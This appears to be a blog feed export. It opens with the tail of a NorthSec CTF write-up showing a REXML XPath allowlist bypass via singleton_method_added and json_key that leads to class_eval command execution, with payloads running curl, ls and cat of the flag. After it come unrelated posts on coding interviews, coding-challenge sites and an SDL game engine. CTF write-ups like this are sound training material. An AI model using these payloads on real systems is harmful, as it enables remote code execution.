<code class="language-plaintext highlighter-rouge">REXML::XPath.query</code> function, I arrived at this line in <code class="language-plaintext highlighter-rouge">lib/rexml/xpath_parser.rb</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Functions.context = target_context
return Functions.send(func_name, *args)
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">func_name</code> is the function name provided in our XPath query, and <code class="language-plaintext highlighter-rouge">args</code> are the arguments we provide. To those familiar
with Ruby security, the usage of <code class="language-plaintext highlighter-rouge">send</code> here on any object with a user-provided input causes a Very Bad Time (TM). It can
very trivially be used to achieve arbitrary command execution:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">irb</span><span class="p">(</span><span class="n">main</span><span class="p">):</span><span class="mo">006</span><span class="p">:</span><span class="mi">0</span><span class="o">></span> <span class="no">Module</span><span class="p">.</span><span class="nf">send</span><span class="p">(</span><span class="ss">:class_eval</span><span class="p">,</span> <span class="s1">'system("curl google.com")'</span><span class="p">)</span>
<span class="o"><</span><span class="no">HTML</span><span class="o">><</span><span class="no">HEAD</span><span class="o">><</span><span class="n">meta</span> <span class="n">http</span><span class="o">-</span><span class="n">equiv</span><span class="o">=</span><span class="s2">"content-type"</span> <span class="n">content</span><span class="o">=</span><span class="s2">"text/html;charset=utf-8"</span><span class="o">></span>
<span class="o"><</span><span class="no">TITLE</span><span class="o">></span><span class="mi">301</span> <span class="no">Moved</span><span class="o"><</span><span class="sr">/TITLE></</span><span class="no">HEAD</span><span class="o">><</span><span class="no">BODY</span><span class="o">></span>
<span class="o"><</span><span class="no">H1</span><span class="o">></span><span class="mi">301</span> <span class="no">Moved</span><span class="o"><</span><span class="sr">/H1>
The document has moved
<A HREF="http:/</span><span class="o">/</span><span class="n">www</span><span class="p">.</span><span class="nf">google</span><span class="p">.</span><span class="nf">com</span><span class="o">/</span><span class="s2">">here</A>.
</BODY></HTML>
=> true
</span></code></pre></div></div>
<p>At this point, I was very confused how this wasn’t a 0-day in REXML. Sure, giving a user the ability to specify an arbitrary
XPath query definitely isn’t the most advisable thing, most folks would not expect it to lead the arbitrary code execution.
I tried this in the XSpreadsheet console:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>> class_eval("system('ls /')")
>
</code></pre></div></div>
<p>Well…that didn’t look like it worked how we wanted it to. At this point we opened up the <code class="language-plaintext highlighter-rouge">REXML::Functions</code> source code and found this
interesting logic overriding the <code class="language-plaintext highlighter-rouge">send</code> function:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">Functions</span><span class="o">::</span><span class="nb">send</span><span class="p">(</span><span class="nb">name</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">)</span>
<span class="k">if</span> <span class="vc">@@available_functions</span><span class="p">[</span><span class="nb">name</span><span class="p">.</span><span class="nf">to_sym</span><span class="p">]</span>
<span class="k">super</span>
<span class="k">else</span>
<span class="c1"># TODO: Maybe, this is not XPath spec behavior.</span>
<span class="c1"># This behavior must be reconsidered.</span>
<span class="no">XPath</span><span class="p">.</span><span class="nf">match</span><span class="p">(</span><span class="vc">@@context</span><span class="p">[</span><span class="ss">:node</span><span class="p">],</span> <span class="nb">name</span><span class="p">.</span><span class="nf">to_s</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>
<p>This only allows us to actually call a method (“send” a method in Ruby/Smalltalk lingo) if it’s inside the <code class="language-plaintext highlighter-rouge">@@available_functions</code> class
variable. That would explain why we can’t just call <code class="language-plaintext highlighter-rouge">class_eval</code>, there’s an allowlist. How does that work? I searched the file for
<code class="language-plaintext highlighter-rouge">@@available_functions</code> and found the following:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="nn">REXML</span>
<span class="k">module</span> <span class="nn">Functions</span>
<span class="no">INTERNAL_METHODS</span> <span class="o">=</span> <span class="p">[</span>
<span class="ss">:namespace_context</span><span class="p">,</span>
<span class="ss">:namespace_context</span><span class="o">=</span><span class="p">,</span>
<span class="ss">:variables</span><span class="p">,</span>
<span class="ss">:variables</span><span class="o">=</span><span class="p">,</span>
<span class="ss">:context</span><span class="o">=</span><span class="p">,</span>
<span class="ss">:get_namespace</span><span class="p">,</span>
<span class="ss">:send</span><span class="p">,</span>
<span class="p">]</span>
<span class="k">class</span> <span class="o"><<</span> <span class="nb">self</span>
<span class="k">def</span> <span class="nf">singleton_method_added</span><span class="p">(</span><span class="nb">name</span><span class="p">)</span>
<span class="k">unless</span> <span class="no">INTERNAL_METHODS</span><span class="p">.</span><span class="nf">include?</span><span class="p">(</span><span class="nb">name</span><span class="p">)</span>
<span class="vc">@@available_functions</span><span class="p">[</span><span class="nb">name</span><span class="p">]</span> <span class="o">=</span> <span class="kp">true</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="o">...</span>
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">singleton_method_added</code> is a special class method that gets called every time a new
class method (“singleton” method in Ruby) is defined. This implementation adds every
method that is defined and isn’t in the <code class="language-plaintext highlighter-rouge">INTERNAL_METHODS</code> list into the <code class="language-plaintext highlighter-rouge">@@available_functions</code>
list.</p>
<p>The next obvious question is, well, why isn’t <code class="language-plaintext highlighter-rouge">class_eval</code> in this list? To answer that,
we can use the <code class="language-plaintext highlighter-rouge">source_location</code> method to determine where in the source code <code class="language-plaintext highlighter-rouge">class_eval</code> is defined:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Example with a normal `REXML::Functions` function
irb(main):002:0> REXML::Functions.method(:name)
=> #<Method: REXML::Functions.name(node_set=...) /home/jackmc/.rubies/ruby-3.2.2/lib/ruby/gems/3.2.0/gems/rexml-3.2.5/lib/rexml/functions.rb:80>
irb(main):003:0> REXML::Functions.method(:name).source_location
=>
["/home/jackmc/.rubies/ruby-3.2.2/lib/ruby/gems/3.2.0/gems/rexml-3.2.5/lib/rexml/functions.rb",
80]
irb(main):004:0> REXML::Functions.method(:class_eval)
=> #<Method: #<Class:REXML::Functions>(Module)#class_eval(*)>
irb(main):003:0> REXML::Functions.method(:class_eval).source_location
=> nil
</code></pre></div></div>
<p>The fact that the <code class="language-plaintext highlighter-rouge">class_eval</code> function returns <code class="language-plaintext highlighter-rouge">nil</code> for its <code class="language-plaintext highlighter-rouge">source_location</code> unlike <code class="language-plaintext highlighter-rouge">name</code> indicates that it is defined
natively by Ruby in its C source code. It is in fact defined on <code class="language-plaintext highlighter-rouge">Module</code> itself, the parent class of all modules. Since this is
defined before the <code class="language-plaintext highlighter-rouge">singleton_method_defined</code> function above, even though <code class="language-plaintext highlighter-rouge">class_eval</code> isn’t in the <code class="language-plaintext highlighter-rouge">INTERNAL_METHODS</code> denylist, it doesn’t
get added to the <code class="language-plaintext highlighter-rouge">@@available_functions</code> list.</p>
<p>This leads us to the natural question of, well, what is in that list? To figure this out we can just query <code class="language-plaintext highlighter-rouge">REXML::Functions</code> for its default
list:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>irb(main):011:0> REXML::Functions.class_variable_get(:@@available_functions)
=>
{:singleton_method_added=>true,
:text=>true,
:last=>true,
:position=>true,
:count=>true,
:id=>true,
:local_name=>true,
...24 other functions}
</code></pre></div></div>
<p>There’s a lot of functions in this list. But, interestingly, <code class="language-plaintext highlighter-rouge">singleton_method_added</code> is
one of them. This is a strange behaviour of Ruby: the <code class="language-plaintext highlighter-rouge">singleton_method_added</code> first gets
called about its own definition. This means that from our XPath console, we should be able to
call it. This seems like a behaviour we can exploit.</p>
<h2 id="exploitation">Exploitation</h2>
<p>The trouble is, if we use the remote version of the console, we won’t be able to tell
if anything changes (since <code class="language-plaintext highlighter-rouge">singleton_method_added</code> doesn’t return anything other than the name
of the function). So let’s tweak the code of the loop a little bit and run it locally. We’ll change:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">puts</span> <span class="no">STATE</span><span class="p">.</span><span class="nf">query</span><span class="p">(</span><span class="n">query</span><span class="p">)</span>
</code></pre></div></div>
<p>To:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">puts</span> <span class="no">STATE</span><span class="p">.</span><span class="nf">query</span><span class="p">(</span><span class="n">query</span><span class="p">)</span>
<span class="nb">puts</span> <span class="s2">"FUNCS"</span>
<span class="nb">puts</span> <span class="no">REXML</span><span class="o">::</span><span class="no">Functions</span><span class="p">.</span><span class="nf">class_variable_get</span><span class="p">(</span><span class="ss">:@@available_functions</span><span class="p">)</span>
</code></pre></div></div>
<p>Trying this out we get:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>> singleton_method_added("class_eval")
class_eval
true
FUNCS
{:singleton_method_added=>true, :text=>true, ..., "class_eval"=>true}
</code></pre></div></div>
<p>Awesome, <code class="language-plaintext highlighter-rouge">class_eval</code> is at the end of the list! We should be able to call it:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>> class_eval("system('ls /')")
>
</code></pre></div></div>
<p>Nope, looks like it got filtered. At this point we realized that <code class="language-plaintext highlighter-rouge">class_eval</code> is in the available
functions Hash as a String whereas everything else is a Symbol. This presents a unique challenge
as there isn’t really a concept of symbols in XPath. After a little bit of thinking, we remembered the
<code class="language-plaintext highlighter-rouge">parse_json</code> method and its definition:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">json_parse</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
<span class="c1"># at least json is safe to parse</span>
<span class="no">JSON</span><span class="p">.</span><span class="nf">parse</span><span class="p">(</span><span class="n">value</span><span class="p">,</span> <span class="ss">symbolize_names: </span><span class="kp">true</span><span class="p">)</span>
<span class="k">end</span>
</code></pre></div></div>
<p>This calls <code class="language-plaintext highlighter-rouge">JSON.parse</code> which is a pretty standard JSON parsing function in Ruby, but passes in
<code class="language-plaintext highlighter-rouge">symbolize_keys</code> which takes all the String keys from an object and turns them into symbols.
So if we could parse a JSON object and somehow get back its key, we could create a symbol.
Luckily enough, we have a function that will do exactly that, <code class="language-plaintext highlighter-rouge">json_key</code>:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">json_key</span><span class="p">(</span><span class="n">json</span><span class="p">,</span> <span class="n">value</span><span class="p">)</span>
<span class="n">json</span><span class="p">.</span><span class="nf">key</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
<span class="k">end</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">key</code> method on a Ruby Hash returns the associated value for a given key. You can think of this
as a reverse key-value lookup. For <code class="language-plaintext highlighter-rouge">json = {a: "b"}</code>, <code class="language-plaintext highlighter-rouge">json_key(json, "b")</code> would return <code class="language-plaintext highlighter-rouge">:a</code>.
This means that we can do:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>json_key(json_parse('{"class_eval": "a"}'), "a")
</code></pre></div></div>
<p>And get back the symbol <code class="language-plaintext highlighter-rouge">:class_eval</code>. Trying this in our console yields…ambiguous results:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>> json_key(json_parse('{"class_eval": "a"}'), "a")
class_eval
</code></pre></div></div>
<p>I’m assuming that this is because REXML calls <code class="language-plaintext highlighter-rouge">to_s</code> on its result before printing it, and the string
conversion of a symbol is just the symbol’s name.</p>
<p>But, combining this with our knowledge of <code class="language-plaintext highlighter-rouge">singleton_method_added</code>, we can do:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>> singleton_method_added(json_key(json_parse('{"class_eval": "a"}'), "a"))
> singleton_method_added(json_key(json_parse('{"class_eval": "a"}'), "a"))
class_eval
true
FUNCS
{:singleton_method_added=>true, :text=>true, :last=>true, :position=>true, :count=>true, :id=>true, :local_name=>true, :namespace_uri=>true, :name=>true, :string=>true, :string_value=>true, :concat=>true, :starts_with=>true, :contains=>true, :substring_before=>true, :substring_after=>true, :substring=>true, :string_length=>true, :normalize_space=>true, :translate=>true, :boolean=>true, :not=>true, :true=>true, :false=>true, :lang=>true, :compare_language=>true, :number=>true, :sum=>true, :floor=>true, :ceiling=>true, :round=>true, :processing_instruction=>true, :export_xml=>true, :import_xml=>true, :json_parse=>true, :json_get=>true, :json_key=>true, :select=>true, :clear=>true, :set=>true, :render=>true, :source=>true, :help=>true, "class_eval"=>true, :class_eval=>true}
</code></pre></div></div>
<p>Which adds <code class="language-plaintext highlighter-rouge">class_eval</code> as a symbol to the <code class="language-plaintext highlighter-rouge">@@available_functions</code> Hash. Yay! Let’s try it out:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>> class_eval('system("curl google.com")')
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.com/">here</A>.
</BODY></HTML>
true
</code></pre></div></div>
<p>Amazing. Using this on the server to navigate through the directory structures, we can find the flag:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>> singleton_method_added(json_key(json_parse('{"class_eval": "a"}'), "a"))
true
> class_eval('system("ls")')
bin
boot
challenge.rb
dev
etc
flag_here_f75047c21a96c2eXXXXXXXXXX
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
state.json
sys
tmp
usr
var
true
> class_eval('system("cat flag_here_f75047c21a96c2e487XXXXXXXXX")')
FLAG-0b8eca2374fXXXXXXXXXXX
true
</code></pre></div></div>
<h2 id="conclusion">Conclusion</h2>
<p>Submitting this, we got 6 points for our team. This was a really fun challenge and I learned a lot. Thanks again to @becojo, my teammate Saba, and
the whole IDK CTF team.</p>Once again this year I participated in the NorthSec CTF. This is one of my favourite infosec events of the year. Today I wanted to talk about a challenge I worked on called The Great Processor by @becojo. I worked on this challenge with my teammate Saba.Cracking The Coding Interview2015-01-24T00:00:00+00:002015-01-24T00:00:00+00:00https://jackmc.xyz/2015/01/24/cracking-the-coding-interview<p>title: Technical Internship Interviews
date: 2016-03-29 23:59:59
layout: post
—
title: Technical Internship Interviews
date: 2016-03-29 23:59:59
layout: post
—</p>
<p>Hello! So recently I’ve been going through the hoops of getting hired for the
2016 Summer internship season, and I’ve remembered just how much you can get to
suck at interview problems if you don’t practice.</p>
<p>The point of this post is to give a quick introduction and some resources on how
to do at least okay in a coding interview. I won’t say I’m the best (I had an
interview recently where I quite literally fumbled when asked basic networking
questions), but I’ve gone through a decent amount of these things, and seen a
decent amount of questions. Of course, this means everything here is my opinion
(specifically not the opinion of any employer).</p>
<p><em>Quick note on phone interviews! This all applies there too.</em></p>
<h2 id="before">Before</h2>
<p>Before your interview, your goal should be to cement your existing knowledge
unless you have months and months of notice to develop new skills. You caught
their eye based on who you are, so make you the best you you can be.</p>
<p>This means review your data structures, specifically the non-fancy ones.
Maps, lists, linked lists, sets (maybe not even that last one).
Review your algorithms, sorts specifically (quicksort is such
a common interview question and such a common programmer pain
point).</p>
<h2 id="impressions">Impressions</h2>
<p>Next, let’s talk about the first part of an interview: first impressions.
The typical advice regarding first impressions is to shake hands, make eye contact,
etc. This is important, but there’s some even more basic stuff that coder types
don’t do (and I didn’t do until recently). Ensure that you look nice, smell nice,
and have a smile on your face as you go in the door. This is important,
and sets the tone for the rest of the interview. Your first sentence should make you
seem excited about the company and about being there. I always start with a “Hi!”
(note the exclamation marks!) and move on to talking with the interviewer with the
typical small talk as we move to the location of the interview. Typically, since
you’re both technical people, this will turn technical pretty fast. You’ll end
up talking about your past jobs or where you’re working now, school, etc. Go with
this!</p>
<h2 id="the-meat-technical-problems">The Meat: Technical Problems</h2>
<p>Technical problems are the thing that’s the most talked about with interviews,
and also are why the company has brought you into their office in the first
place (mostly). So let’s work through one (note that this is a pretty well
known problem, with a twist at the end):</p>
<p><strong>Given a list of size N-1 containing the numbers 1…N inclusive except for two
numbers, find the missing numbers.</strong></p>
<p>Depending on how much maths training you have, the answer may jump out on
you right away. But that’s not the point. This is a twist on a fairly common
problem.</p>
<p><strong>Step 1</strong>: Think. Your interviewer is not gonna think less of you because you are
thinking a little bit about how to do the question. A good pause time is
probably around 15 seconds, so they know you’re thinking but it’s not awkward!</p>
<p><strong>Step 2</strong>: Ask questions. After your thinking above, you’re going
to undoubtably have some questions. How is the input specified?
What function signature are they looking for? The interviewer can’t
tell you’re thinking of this simple thing until you actually ask
them or mention it.</p>
<p>So, in this case, I would ask the interviewer if the input is an
array. This may seem pretty obvious, but with a set this would be
much easier. Assume the interviewer says that yes, the input is
an array.</p>
<p>I would also ask what the function signature should be, giving an
example. In Java, the following seems reasonable:</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="c1">// Returns the two missing numbers from "numbers", in an array.</span>
<span class="kd">public</span> <span class="kt">int</span><span class="o">[]</span> <span class="nf">twoMissingNumbers</span><span class="o">(</span><span class="kt">int</span> <span class="n">numbers</span><span class="o">[]);</span></code></pre></figure>
<p><strong>Step 3</strong>: Brute force. Now that you’ve thought a little bit, you probably can see a brute force
solution, and that should be the first thing you write out in your document
or on the whiteboard. I’m going to use Java, as it’s a really well
understood language.</p>
<p>So what does this problem actually want us to do? We want to find
the two missing numbers. How can we do this in the easiest and most
intuitive way? Well we can go through the lists and find one which
isn’t in the other list. Let’s code that up.</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kd">public</span> <span class="kt">int</span><span class="o">[]</span> <span class="nf">twoMissingNumbers</span><span class="o">(</span><span class="kt">int</span> <span class="n">numbers</span><span class="o">[])</span> <span class="o">{</span>
<span class="c1">// Since there are two missing numbers, we know that the</span>
<span class="c1">// length of the array plus 2 is the number.</span>
<span class="kt">int</span> <span class="n">n</span> <span class="o">=</span> <span class="n">numbers</span><span class="o">.</span><span class="na">length</span> <span class="o">+</span> <span class="mi">2</span><span class="o">;</span>
<span class="c1">// The list of numbers to return, -1 indicating no value.</span>
<span class="kt">int</span><span class="o">[]</span> <span class="n">results</span> <span class="o">=</span> <span class="o">{-</span><span class="mi">1</span><span class="o">,</span> <span class="o">-</span><span class="mi">1</span><span class="o">};</span>
<span class="c1">// The current number we are on (starts with 0, could be 1)</span>
<span class="kt">int</span> <span class="n">currentNumber</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span>
<span class="c1">// For each number, we test if it is in the array.</span>
<span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="o">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="n">n</span><span class="o">;</span> <span class="n">i</span><span class="o">++)</span> <span class="o">{</span>
<span class="kt">boolean</span> <span class="n">found</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span>
<span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">n</span> <span class="o">-</span> <span class="mi">2</span><span class="o">;</span> <span class="n">j</span><span class="o">++)</span> <span class="o">{</span>
<span class="c1">// in this statement, i is the number we are looking</span>
<span class="c1">// for and numbers[j] is the number we are testing in</span>
<span class="c1">// the list</span>
<span class="k">if</span> <span class="o">(</span><span class="n">numbers</span><span class="o">[</span><span class="n">j</span><span class="o">]</span> <span class="o">==</span> <span class="n">i</span><span class="o">)</span> <span class="o">{</span>
<span class="n">found</span> <span class="o">=</span> <span class="kc">true</span><span class="o">;</span>
<span class="k">break</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="k">if</span> <span class="o">(!</span><span class="n">found</span><span class="o">)</span> <span class="o">{</span>
<span class="n">results</span><span class="o">[</span><span class="n">currentNumber</span><span class="o">++]</span> <span class="o">=</span> <span class="n">i</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<p><strong>Step 4</strong>: Damage report. Your solution right now is likely to be
pretty inefficient. Time to communicate to your interviewer that
you think you have a correct brute force solution and want to move
on to optimizing. First you should probably figure out exactly
how inefficient your code is and where so you don’t spend time
analyzing the unimportant bits.</p>
<p>In the code above, the hard part for the computer is the two loops.
This is because the computer must do n computations, followed by n-2.
This means that the code is O(n(n-2)) = O(n*n) because of the
double loops.</p>
<p><strong>Step 5</strong>: Look for common inefficiencies and develop an optimized solution. What are you doing
every time in the loop that you could do once and make it faster
for sufficiently large input? Look for unnecessary repeated work.
This is the killer in most questions.</p>
<p>Another common improvement is to use a data structure that is
slightly more sophisticated than a list.</p>
<p>In this case, what is our most expensive operation? We check every
single time if the element is in the array. Is there a data
structure which allows for checking if something is in a list? Yes.
We can use a set for this. This is “precomputing” in addition to
using a data structure so it’s a pretty nice example. Let’s see
how this looks in practice (note I assume a couple imports here,
that’s totally cool for you to do on an interview):</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kd">public</span> <span class="kt">int</span><span class="o">[]</span> <span class="nf">twoMissingNumbers</span><span class="o">(</span><span class="kt">int</span> <span class="n">numbers</span><span class="o">[])</span> <span class="o">{</span>
<span class="nc">Set</span><span class="o"><</span><span class="nc">Integer</span><span class="o">></span> <span class="n">numbersSet</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashSet</span><span class="o"><>();</span>
<span class="c1">// Since there are two missing numbers, we know that the</span>
<span class="c1">// length of the array plus 2 is the number.</span>
<span class="kt">int</span> <span class="n">n</span> <span class="o">=</span> <span class="n">numbers</span><span class="o">.</span><span class="na">length</span> <span class="o">+</span> <span class="mi">2</span><span class="o">;</span>
<span class="c1">// The list of numbers to return, -1 indicating no value.</span>
<span class="kt">int</span><span class="o">[]</span> <span class="n">results</span> <span class="o">=</span> <span class="o">{-</span><span class="mi">1</span><span class="o">,</span> <span class="o">-</span><span class="mi">1</span><span class="o">};</span>
<span class="c1">// The current number we are on (starts with 0, could be 1)</span>
<span class="kt">int</span> <span class="n">currentNumber</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span>
<span class="c1">// Hash the integers so we can do O(1) lookup on them</span>
<span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">:</span> <span class="n">numbers</span><span class="o">)</span> <span class="o">{</span>
<span class="n">numbersSet</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">i</span><span class="o">);</span>
<span class="o">}</span>
<span class="c1">// For each number, we test if it is in the Set.</span>
<span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="o">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="n">n</span><span class="o">;</span> <span class="n">i</span><span class="o">++)</span> <span class="o">{</span>
<span class="k">if</span> <span class="o">(!</span><span class="n">numbersSet</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="n">i</span><span class="o">))</span> <span class="o">{</span>
<span class="n">results</span><span class="o">[</span><span class="n">currentNumber</span><span class="o">++]</span> <span class="o">=</span> <span class="n">i</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<p>By the properties of HashSets we know that generally (unless you
give it a <em>very</em> bad, specially selected data set) have O(1)
expected insertion and O(1) expected “contains”. This means that
we have brought down our nested O(n*n) loop into one O(n) (expected) loop.
As a tradeoff, we add the step of adding all of our integers to the
set. This takes (expected) O(n) time.</p>
<p>Therefore, we have found an O(n) solution. This is in fact the
optimal available (at least that I can think of) asymptotic
performance here. There is a solution that is faster non-asymptotically and doesn’t
depend on the Set precompute, which involves getting the sum and
the product of every element in the array. We can then do some
fancy math with the system of equations presented to find the
missing numbers. This is left as an exercise to the reader 😀.</p>
<h2 id="questions">Questions</h2>
<p>You will probably be given a chance to ask questions about the
company. Even if you had all your questions answered previously,
put in the 15 minutes to research the technology and culture of the company.</p>
<p>I like to use the following formula for questions. I ask one
technical question and one more humanizing question. The first
question generally follows the format of “I notice you use
technology X. In my experience, this has a couple pitfalls like Y,
Z, and A. What was your technical reason for using X instead of
an alternative like B?”. This will require a bit of research on
your part, like ensuring that you know one or two technologies that
they use.</p>
<p>For the second question, I attempt to humanize myself by asking
something about culture or how their team works. This is really
effective in letting you know something about the company and
to convince them that you are a good fit for their company.</p>
<h2 id="final-thoughts">Final Thoughts</h2>
<p>Lastly, I want to say that technical interviews should be exciting
if really really scary. This means that you can totally be able to
come out of an interview curious and excited to hear back. It doesn’t
always have to be this nerve wracking experience you want to have
over right away. If there’s one piece of advice I could give it’s
to treat your interviewer like a human who <em>wants to hire you</em>!
It’s not like they wasted all this money on bringing you in for no
reason. And it costs money. Think about the hour of the engineer’s
time you took, plus HR, plus costs of bringing you there if they
paid for that, what the engineer could have been working on could have been working on, stuff like that,
and you’ll see exactly how much interviewing/hiring costs a
company.</p>
<h2 id="resources">Resources</h2>
<p>Here are some resources that can help you prepare for technical
interviews (in order of how much I like them).</p>
<ol>
<li>Cracking the Coding Interview (Book)/careercup.com - interview problems and interview processes at several large companies.</li>
<li>Maksim Noy’s <a href="http://jackmc.github.io/public/interviews.html">programming interview problems</a></li>
<li><a href="https://www.hackerrank.com">Hackerrank</a></li>
<li><a href="https://leetcode.com">Leetcode</a></li>
<li>TopCoder</li>
<li><a href="https://www.interviewcake.com/">InterviewCake</a></li>
</ol>title: Technical Internship Interviews date: 2016-03-29 23:59:59 layout: post — title: Technical Internship Interviews date: 2016-03-29 23:59:59 layout: post —Day 10 - Coding Challenge Sites2014-12-03T23:59:59+00:002014-12-03T23:59:59+00:00https://jackmc.xyz/2014/12/03/coding-challenges<p>Today I tried out some problems from two different coding challenge sites:
<a href="https://projecteuler.net">Project Euler</a> and
<a href="https://hackerrank.com">Hacker Rank</a>.</p>
<p>One of the major deficiencies I have that I will admit is that my competitive
coding/coding challenge abilities are not great. I can write a good app or
utility, but with straight programming problems with a lot of algorithmic
thinking I’m not the best. That’s what I’m trying to fix with trying some
problems.</p>
<p>So first let’s talk about my experiences with Project Euler. Now I’m
embarrassingly early in Project Euler (problem 17). Today I finished this
problem. It involves a lot of string manipulation, and I decided to write it in
Python. The basics of the problem is that you have to write code that will turn
an integer into an English representation of that number (for example 156
becomes one hundred and fifty-six). I’m not going to post the code here so as to
encourage competition and working it out yourself, but the basic idea I used is
to have a couple dictionaries which you can index into to get the string
representation of a set of digits with a one-word representation (for example 10
= ten, 20 = twenty, 2 = two, 13 = thirteen) and then to index into those
dictionaries and do a recursive call to find out the rest of the digits’ naming
if necessary.</p>
<p>The second site I tried out was Hacker Rank. This site seems to be significantly
smaller than Euler, but definitely contains some quality problems. The site is
divided into four main “domains”, which are sets of programming skills which the
challenges in that domain are themed around. The Linux/bash scripting domain
deserves a special mention even though it isn’t the one I ended up picking. I
tried some of the challenges and it teaches constructs of bash scripting and the
standard GNU/Linux toolset (coreutils) that allow you to do some uniquely
powerful stuff with it by piping and chaining the various tools together.</p>
<p>The domain on this site that I ended up choosing was the Artificial Intelligence
domain. I am currently in the first section (sections comprise of quite a few
problems) of this domain. The first few problems were pretty easy, telling you
to guide a little robot through a whole bunch of different tasks such as
cleaning a floor and saving a princess. The way that this teaches AI principles
is pretty clever in that you learn a general idea of how best to do pathfinding
pretty quickly.</p>
<p>The one I’m currently stuck on is the two-player maze solving game. You can find
it <a href="https://www.hackerrank.com/challenges/maze-escape">here</a>. See if you can
beat me to it!</p>Today I tried out some problems from two different coding challenge sites: Project Euler and Hacker Rank.Day 9 - Game Engines Are Hard!2014-12-02T00:29:00+00:002014-12-02T00:29:00+00:00https://jackmc.xyz/2014/12/02/game-engines<p>So today I restarted work on a project which I’ve left be for a while: A generic
C++ wrapper around SDL2. It turns out that abstracting all this functionality is
not as easy as I would think, and that it takes a lot of time, effort, and
patience to make it work.</p>
<p>I present to you, the results of one hour’s work on this game engine.</p>
<center><img src="/images/plasmas_circleberry.png" />Plasmas Game Engine drawing circle</img></center>
<p>Now which one was harder to draw? Actually the circle. Turns out that SDL
doesn’t conatin functions for drawing primatives past a rectangle, so I had to
write my own. Now recalling the unit circle from grade 12 maths (ew, trig) I
wrote this little function which creates a circle out of a set of points given a
particular number of points to draw in the circle:</p>
<figure class="highlight"><pre><code class="language-c--" data-lang="c++"><span class="kt">void</span> <span class="n">SDLWindow</span><span class="o">::</span><span class="n">DrawEllipse</span><span class="p">(</span><span class="k">const</span> <span class="n">Rect</span> <span class="o">&</span><span class="n">rect</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// This is how often points will be drawn</span>
<span class="k">const</span> <span class="k">static</span> <span class="kt">double</span> <span class="n">granularity</span> <span class="o">=</span> <span class="mf">0.001</span><span class="p">;</span>
<span class="c1">// We roll our own ellipse...</span>
<span class="kt">double</span> <span class="n">angle</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">x</span> <span class="o">=</span> <span class="n">rect</span><span class="p">.</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="o">=</span> <span class="n">rect</span><span class="p">.</span><span class="n">y</span><span class="p">,</span> <span class="n">w</span> <span class="o">=</span> <span class="n">rect</span><span class="p">.</span><span class="n">w</span><span class="p">,</span> <span class="n">h</span> <span class="o">=</span> <span class="n">rect</span><span class="p">.</span><span class="n">h</span><span class="p">;</span>
